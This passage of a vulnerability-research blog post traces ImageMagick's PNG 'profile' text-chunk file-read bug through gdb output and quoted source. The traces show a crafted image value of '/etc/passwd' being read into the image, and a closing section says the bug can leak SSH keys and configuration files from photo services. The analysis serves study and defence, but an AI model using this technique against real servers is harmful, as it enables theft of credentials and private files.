MagickCore\/locale.c:1407\n\nReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders\/png.c:3982\n\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\", value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4362\n\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\", value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4381\n\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\", value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4692\n\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\", value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4711<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><strong>Part 3:<\/strong><\/span><\/p><pre><span style=\"color: #000000;\"><code>MagickCore\/property.c:4711\nMagickCore\/property.c:4722\nFileToStringInfo (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    exception=exception@entry=0x55555558a830) at MagickCore\/string.c:1007\n\nMagickCore\/string.c\n1015          string_info=AcquireStringInfoContainer();\nAcquireStringInfoContainer () at MagickCore\/string.c:145\n147           string_info-&gt;signature=MagickCoreSignature;\n1016          string_info-&gt;path=ConstantString(filename);\n679         {\n1017          string_info-&gt;datum=(unsigned char *) FileToBlob(filename,extent,\nFileToStringInfo (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    exception=exception@entry=0x55555558a830) at MagickCore\/string.c:1017\n\nMagickCore\/blob.c\n1398        {\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1398\n1423          assert(filename != (const char *) NULL);\n1424          assert(exception != (ExceptionInfo *) NULL);\n1425          assert(exception-&gt;signature == MagickCoreSignature);\n1428          *length=0;\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1428\n1429          status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1430\n1437          file=fileno(stdin);\n1440              status=GetPathAttributes(filename,&amp;attributes);\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1438\n\nMagickCore\/utility.c\n1189          status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :\nGetPathAttributes (path=path@entry=0x5555555c4c90 \"\/etc\/passwd\", attributes=attributes@entry=0x7ffffffeff10) at MagickCore\/utility.c:1189\nstat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 \"\/etc\/passwd\") at MagickCore\/utility.c:1189\nGetPathAttributes (path=path@entry=0x5555555c4c90 \"\/etc\/passwd\", attributes=attributes@entry=0x7ffffffeff10) at MagickCore\/utility.c:1191\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1441\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1455\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1515\nMapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore\/blob.c:3011\nFileToBlob (filename=filename@entry=0x5555555c4c90 \"\/etc\/passwd\", extent=extent@entry=18446744073709551615,\n    length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore\/blob.c:1523\n\nMagickCore\/property.c\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\",\n    value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4725\n\nMagickCore\/profile.c\nSetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 \"\", profile=profile@entry=0x5555555d3e50,\n    exception=exception@entry=0x55555558a830) at MagickCore\/profile.c:1997\nSetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 \"\", profile=profile@entry=0x5555555d3e50,\n    recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore\/profile.c:1955\n\nSetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 \"profile\",\n    value=value@entry=0x5555555c1a00 \"\/etc\/passwd\", exception=exception@entry=0x55555558a830) at MagickCore\/property.c:4727<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><strong>NOTE: <\/strong>since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.<\/span><\/p><ul><li><span style=\"color: #000000;\">Basically it starts with <strong>ReadOnePNGImage\u00a0<\/strong><\/span><\/li><\/ul><p><span style=\"color: #000000;\">ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.<\/span><br \/><span style=\"color: #000000;\">It allocates the memory necessary for the new Image structure and returns a pointer to the new image.<\/span><\/p><p><span style=\"color: #000000;\">The format of the ReadOnePNGImage method is:<\/span><\/p><p><span style=\"color: #000000;\">Image <em>ReadOnePNGImage(MngInfo <\/em>mng_info, const ImageInfo <em>image_info, ExceptionInfo <\/em>exception)<\/span><\/p><p><span style=\"color: #000000;\">A description of each parameter follows:<\/span><\/p><p><span style=\"color: #000000;\">o mng_info: Specifies a pointer to a MngInfo structure.<\/span><\/p><p><span style=\"color: #000000;\">o image_info: the image info.<\/span><\/p><p><span style=\"color: #000000;\">o exception: return any errors or warnings in this structure.<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AkLDrteeO4G7hyjFiVNOomg.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">The function starts at <code>int<\/code> and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.<\/span><\/p><ul><li><span style=\"color: #000000;\">Every time you see this line <code>logging=IsEventLogging();<\/code> this means it will go to \u201cMagickCore\/log.c\u201d and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A51ALrfZJOJQqERnIREdYaw.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">The code sets a few pointer and variable values, including setting <code>quantum_info<\/code> to <code>NULL<\/code>, setting <code>image<\/code> to point to the <code>image<\/code> object within the <code>mng_info<\/code> struct, and setting <code>intent<\/code> to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AdviHLBw495jjhw0kuCSvoA.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">After that, it moves to the LockSemaphoreInfo function which locks a semaphore.<\/span><span style=\"color: #000000;\">A description of each parameter follows:<\/span><p><span style=\"color: #000000;\">o semaphore_info: Specifies a pointer to an SemaphoreInfo structure.<\/span><\/p><\/li><li><span style=\"color: #000000;\">After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AvQymBdZKcFF78DnLv33P1w.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Now to \u201cMagickCore\/option.c\u201d to GetImageOption function which gets a value associated with the global image options.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AiQ8jPEfQe6xxMHMWUK1X8w.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">From here with <strong>GetValueFromSplayTree <\/strong>function it will go to \u201cMagickCore\/splay-tree.c\u201d. GetValueFromSplayTree() gets a value from the splay-tree by its key.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AmoE0cvqI6mTdLCLFLSNyvQ.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">This is where it will start to be interesting which basically from the part2 of the execution record<\/span><\/li><\/ul><pre><span style=\"color: #000000;\"><code>ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders\/png.c:3962<\/code><\/span><\/pre><p><span style=\"color: #000000;\">Basically, the code here reads the text chunk from the image i.e. the file path<\/span><\/p><pre><span style=\"color: #000000;\"><code>else\n          {\n            char\n              *value;\n\n            length=text[i].text_length;\n            value=(char *) AcquireQuantumMemory(length+MagickPathExtent,\n              sizeof(*value));\n            if (value == (char *) NULL)\n              {\n                png_error(ping,\"Memory allocation failed\");\n                break;\n              }\n            *value='\\0';\n            (void) ConcatenateMagickString(value,text[i].text,length+2);\n\n            \/* Don't save \"density\" or \"units\" property if we have a pHYs\n             * chunk\n             *\/\n            if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||\n                (LocaleCompare(text[i].key,\"density\") != 0 &amp;&amp;\n                LocaleCompare(text[i].key,\"units\") != 0))\n              {\n                char\n                  key[MagickPathExtent];\n\n                (void) FormatLocaleString(key,MagickPathExtent,\"%s\",\n                  text[i].key);\n                if ((LocaleCompare(key,\"version\") == 0) ||\n                    (LocaleCompare(key,\"width\") == 0))\n                  (void) FormatLocaleString(key,MagickPathExtent,\"png:%s\",\n                    text[i].key);\n                (void) SetImageProperty(image,key,value,exception);\n              }<\/code><\/span><\/pre><p><span style=\"color: #000000;\">First, a character pointer variable called <code>value<\/code> is declared. <code>length<\/code> is set to the length of the text in the current text chunk. Memory is then allocated for <code>value<\/code>, which will be used to store the text value. The <code>AcquireQuantumMemory<\/code> function is used for memory allocation.<\/span><\/p><p><span style=\"color: #000000;\">Next, the code checks if memory allocation for <code>value<\/code> was successful. If it wasn&#8217;t, an error message is logged and the loop is broken. If memory allocation was successful, <code>value<\/code> is set to an empty string using <code>'\\0'<\/code>.<\/span><\/p><p><span style=\"color: #000000;\">Now the text value is copied into <code>value<\/code> using the <code>ConcatenateMagickString<\/code>\u00a0.<\/span><\/p><blockquote><p><span style=\"color: #000000;\"><em>ConcatenateMagickString() concatenates the source string to the destination string.<br \/>The destination buffer is always null-terminated even if the string must be truncated.<\/em><\/span><\/p><\/blockquote><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AiJLs5BE_P-30qBdyrMgZnw.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">After that, the program goes through multiple other interesting functions, such as:<\/span><\/p><ul><li><span style=\"color: #000000;\">FormatLocaleStringList<\/span><\/li><li><span style=\"color: #000000;\">FormatLocaleString<\/span><\/li><li><span style=\"color: #000000;\">SetImageProperty which it\u2019s interesting since saves the given string value either to a specific known attribute or to a freeform property string.<\/span><\/li><\/ul><p><span style=\"color: #000000;\">scroll down in the SetImageProperty to line 4711<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A1qG0G4IMt2UBrt5AnLBqdA.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">when you follow this code, you found this full function in MagickCore\/preperty.c<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AA6j5Vh6ii_jpb80FMnsWfw.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">Basically, the code here using <code>LocaleCompare<\/code> function to check if the <code>property<\/code> variable is equal to the string &#8220;profile&#8221;, If the comparison returns zero, meaning the strings are equal, it will continue.<\/span><\/p><p><span style=\"color: #000000;\">here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.<\/span><\/p><blockquote><p><span style=\"color: #000000;\"><em>AcquireImageInfo() allocates the ImageInfo structure.<br \/>The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)<\/em><\/span><\/p><\/blockquote><p><span style=\"color: #000000;\">The <code>SetImageInfo<\/code> function is then called to initialize the <code>ImageInfo<\/code> struct, passing in a value of <code>1<\/code> and an <code>exception<\/code> parameter.<\/span><\/p><blockquote><p><span style=\"color: #000000;\"><em>SetImageInfo() initializes the \u2018magick\u2019 field of the ImageInfo structure.<br \/>It is set to a type of image format based on the prefix or suffix of the filename. For example, \u2018ps:image\u2019 returns PS indicating a Postscript image.<br \/>JPEG is returned for this filename: \u2018image.jpg\u2019. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.<\/em><\/span><\/p><\/blockquote><p><span style=\"color: #000000;\">This line is very interesting<\/span><\/p><pre><span style=\"color: #000000;\"><code>profile=FileToStringInfo(image_info-&gt;filename,~0UL,exception);<\/code><\/span><\/pre><p><span style=\"color: #000000;\">The <code>FileToStringInfo<\/code> function is called with the filename of the <code>ImageInfo<\/code> struct and a flag value <code>~0UL<\/code> to read the entire file into memory as a <code>StringInfo<\/code> struct.<\/span><\/p><blockquote><p><span style=\"color: #000000;\"><em>FileToStringInfo() returns the contents of a file as a string.<\/em><\/span><\/p><\/blockquote><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2ALu3bzsJMgu2Hteg5Ai2FDg.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">This function takes three parameters:<\/span><\/p><ol><li><span style=\"color: #000000;\"><code>filename<\/code> is a pointer to a character array (i.e., string) that contains the name of the file to read.<\/span><\/li><li><span style=\"color: #000000;\"><code>extent<\/code> is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.<\/span><\/li><li><span style=\"color: #000000;\"><code>exception<\/code> is a pointer to an <code>ExceptionInfo<\/code> structure. This structure is used to capture any errors or warnings that occur during the execution of the function.<\/span><\/li><\/ol><p><span style=\"color: #000000;\">The function also calls the <code>FileToBlob()<\/code> function, passing in the <code>filename<\/code>, <code>extent<\/code>, and <code>exception<\/code> parameters. This function reads the contents and the file content is stored in the <code>datum<\/code> field of the <code>StringInfo<\/code> structure.<\/span><\/p><pre><span style=\"color: #000000;\"><code>string_info-&gt;datum=(unsigned char *) FileToBlob(filename,extent, &amp;string_info-&gt;length,exception);<\/code><\/span><\/pre><blockquote><p><span style=\"color: #000000;\"><em>FileToBlob() returns the contents of a file as a buffer terminated with the \u2018\\0\u2019 character. The length of the buffer (not including the extra terminating \u2018\\0\u2019 character) is returned via the \u2018length\u2019 parameter. Free the buffer with RelinquishMagickMemory().<\/em><\/span><\/p><\/blockquote><p><span style=\"color: #000000;\">The interesting part of the <em>FileToBlob() <\/em>function is this:<\/span><\/p><pre><span style=\"color: #000000;\"><code>file=fileno(stdin);\n  if (LocaleCompare(filename,\"-\") != 0)\n    {\n      status=GetPathAttributes(filename,&amp;attributes);\n      if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))\n        {\n          ThrowFileException(exception,BlobError,\"UnableToReadBlob\",filename);\n          return(NULL);\n        }\n      file=open_utf8(filename,O_RDONLY | O_BINARY,0);\n    }\n  if (file == -1)\n    {\n      ThrowFileException(exception,BlobError,\"UnableToOpenFile\",filename);\n      return(NULL);\n    }<\/code><\/span><\/pre><p><span style=\"color: #000000;\">basically, the function will check if the filename contains \u201c-\u201d it will try to read from stdin input otherwise it will start with the <code>GetPathAttributes<\/code> function which retrieves information about the file specified by <code>filename<\/code>, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore\/utility.c here:<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AmSkhEyWb-bP5s9yoe76bpw.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">If the <code>GetPathAttributes<\/code> function returns <code>MagickFalse<\/code>, indicating an error occurred, or if the file type is a directory, the <code>ThrowFileException<\/code> function is called to throw an exception with an error message, and <code>NULL<\/code> is returned.<\/span><\/p><p><span style=\"color: #000000;\">Now if the file type is not a directory, the <code>open_utf8<\/code> function is called with the <code>filename<\/code> This function attempts to open the file specified by <code>filename<\/code> in read-only mode, and returns a file descriptor that is assigned to the <code>file<\/code> variable. If the <code>open_utf8<\/code> function fails and returns -1, indicating an error, the <code>ThrowFileException<\/code> function is called to throw an exception with an error message, and <code>NULL<\/code> is returned, Otherwise, the file descriptor is returned to the calling function.<\/span><\/p><p><span style=\"color: #000000;\">Now going back to the <code>if (LocaleCompare(\"profile\",property)==0)<\/code> in MagicCore\/property.c<\/span><\/p><p><span style=\"color: #000000;\">If the <code>StringInfo<\/code> is successfully read, the <code>SetImageProfile<\/code> function is called to set the image&#8217;s profile using the image&#8217;s format (<code>image_info-&gt;magick<\/code>), the <code>StringInfo<\/code> struct, and the <code>exception<\/code> parameter.<\/span><\/p><p><span style=\"color: #000000;\">The <code>StringInfo<\/code> struct is then destroyed using <code>DestroyStringInfo<\/code>.<\/span><\/p><pre><span style=\"color: #000000;\"><code>if (profile != (StringInfo *) NULL)\n            {\n              status=SetImageProfile(image,image_info-&gt;magick,profile,\n                exception);\n              profile=DestroyStringInfo(profile);\n            }<\/code><\/span><\/pre><p><span style=\"color: #000000;\">Finally, the <code>ImageInfo<\/code> struct is destroyed using <code>DestroyImageInfo<\/code>, and the function returns <code>MagickTrue<\/code>.<\/span><\/p><pre><span style=\"color: #000000;\"><code>image_info=DestroyImageInfo(image_info);\nreturn(MagickTrue);<\/code><\/span><\/pre><p><span style=\"color: #000000;\">If the <code>property<\/code> variable is not equal to the string &#8220;profile&#8221;, the program breaks out of the <code>if<\/code> statement.<\/span><\/p><pre><span style=\"color: #000000;\"><code>break; \/* not an attribute, add as a property *\/<\/code><\/span><\/pre><p><span style=\"color: #000000;\">basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2Aqq-f7ypOM-leNJP6Cy1pdg.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">I did all this by following gdb step by step and going through the execution.<\/span><\/p><p><span style=\"color: #000000;\">Now just to summarize the execution flow:<\/span><\/p><p><span style=\"color: #000000;\">ReadOnePNGImage -&gt; IsEventLogging -&gt; GetMagickResourceLimit -&gt; GetImageOption -&gt; GetValueFromSplayTree -&gt; LockSemaphoreInfo -&gt; png.c:3962 -&gt; ConcatenateMagickString -&gt; SetImageProperty -&gt; property.c:4711 -&gt; AcquireImageInfo -&gt; CopyMagickString -&gt; SetImageInfo -&gt; FileToStringInfo -&gt; FileToBlob -&gt; SetImageProfile -&gt; DestroyStringInfo -&gt; DestroyImageInfo<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A6CMcRpPoUZciebN1yusScQ.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">With the execution flow, it will be easier to reproduce this and follow the functions.<\/span><\/p><p><span style=\"color: #000000;\">Also, I want here to summarize the exact lines where the vulnerability happened:<\/span><\/p><ul><li><span style=\"color: #000000;\">First starts here where the PNG image gets read and processed.<\/span><\/li><\/ul><pre><span style=\"color: #000000;\"><code>static Image *ReadOnePNGImage(MngInfo *mng_info,\n    const ImageInfo *image_info, ExceptionInfo *exception)\n{<\/code><\/span><\/pre><ul><li><span style=\"color: #000000;\">Read the text chunk<\/span><\/li><\/ul><pre><span style=\"color: #000000;\"><code>png.c:3962\nConcatenateMagickString<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AGD_dKEj-tTv9ZEJ12g6LHQ.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Check \u201cprofile\u201d keyword<\/span><\/li><\/ul><pre><span style=\"color: #000000;\"><code>SetImageProperty\nproperty.c:4711<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AD2k4a0tz92dW5w3nUbHuBg.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Read the file content and store it<\/span><\/li><\/ul><pre><span style=\"color: #000000;\"><code>property.c:4722\nprofile=FileToStringInfo(image_info-&gt;filename,~0UL,exception);\nstring.c:1017\nstring_info-&gt;datum=(unsigned char *) FileToBlob(filename,extent, &amp;string_info-&gt;length,exception);<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AtwxFJMwwPg29JYgD6fYMbQ.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Finally here is where the SetImageProfile function will set the image profile and anything related to it, and now the image is ready.<\/span><\/li><\/ul><p><span style=\"color: #000000;\">If you want to reproduce this and minimize the time and just go straight to the main point, you can add breakpoints as follows:<\/span><\/p><pre><span style=\"color: #000000;\"><code>break ReadOnePNGImage\nbreak png.c:3954\nbreak png.c:3986\nbreak SetImageProperty\nbreak property.c:4711\nbreak property.c:4722\nbreak property.c:4725\nbreak FileToStringInfo\nbreak string.c:1017<\/code><\/span><\/pre><p><span style=\"color: #000000;\">after that go with \u201c<strong>continue<\/strong>\u201d\u00a0, \u201c<strong>step<\/strong>\u201d\u00a0, \u201c<strong>step-in<\/strong>\u201d and \u201c<strong>next<\/strong>\u201d.<\/span><\/p><ul><li><span style=\"color: #000000;\">The red highlighted ones, here we are setting the breakpoints.<\/span><\/li><li><span style=\"color: #000000;\">The green highlighted one, we started the program.<\/span><\/li><li><span style=\"color: #000000;\">Finally, we see the program hit the first breakpoint.<\/span><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A_-eNVz5dsxo3yTe0Ry9GrA.png?ssl=1\" \/><\/span><\/p><h1><span style=\"color: #000000;\">How the attacker would abuse\u00a0this?<\/span><\/h1><p><span style=\"color: #000000;\">If this tool is used with online photo service, it can be exploited to leak the SSH keys, configuration files\u00a0..etc, same thing applies to privilege escalation scenarios.<\/span><\/p><h1><span style=\"color: #000000;\">Final thoughts<\/span><\/h1><p><span style=\"color: #000000;\">This is really interesting vulnerability (I say that about each 0day LOL) since it can be exploited in privilege escalation, but also because ImageMagick is used in multiple languages and in websites so it can be a public target for the attackers.<\/span><\/p><p><span style=\"color: #000000;\">I didn\u2019t do any patch diffing here since there are a lot of changes between the vulnerable version and the latest version, however, studying the code changes is always interesting and can lead to new bypasses or new vulnerabilities.<\/span><\/p><h1><span style=\"color: #000000;\">Resources<\/span><\/h1><ul><li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/www.metabaseq.com\/imagemagick-zero-days\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/www.metabaseq.com\/imagemagick-zero-days\/<\/a><\/span><\/li><\/ul><ul><li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/github.com\/Vulnmachines\/imagemagick-CVE-2022-44268\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/Vulnmachines\/imagemagick-CVE-2022-44268<\/a><\/span><\/li><\/ul><ul><li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/github.com\/duc-nt\/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/duc-nt\/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC<\/a><\/span><\/li><\/ul><ul><li><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/github.com\/Sybil-Scan\/imagemagick-lfi-poc\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/Sybil-Scan\/imagemagick-lfi-poc<\/a><\/span><\/li><\/ul><\/div>\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<div class=\"elementor-element elementor-element-8085a61 post-content elementor-widget elementor-widget-shortcode\" data-id=\"8085a61\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\">\t\t<div data-elementor-type=\"page\" data-elementor-id=\"18103\" class=\"elementor elementor-18103\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-748947f elementor-section-full_width elementor-section-height-default elementor-section-height-default\" data-id=\"748947f\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;c4f773e&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7995c19\" data-id=\"7995c19\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-a437045 elementor-widget elementor-widget-image-box\" data-id=\"a437045\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"image-box.default\">\n\t\t\t\t\t<div class=\"elementor-image-box-wrapper\"><div class=\"elementor-image-box-content\"><h3 class=\"elementor-image-box-title\">About Version 2 Digital<\/h3><p class=\"elementor-image-box-description\">Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide 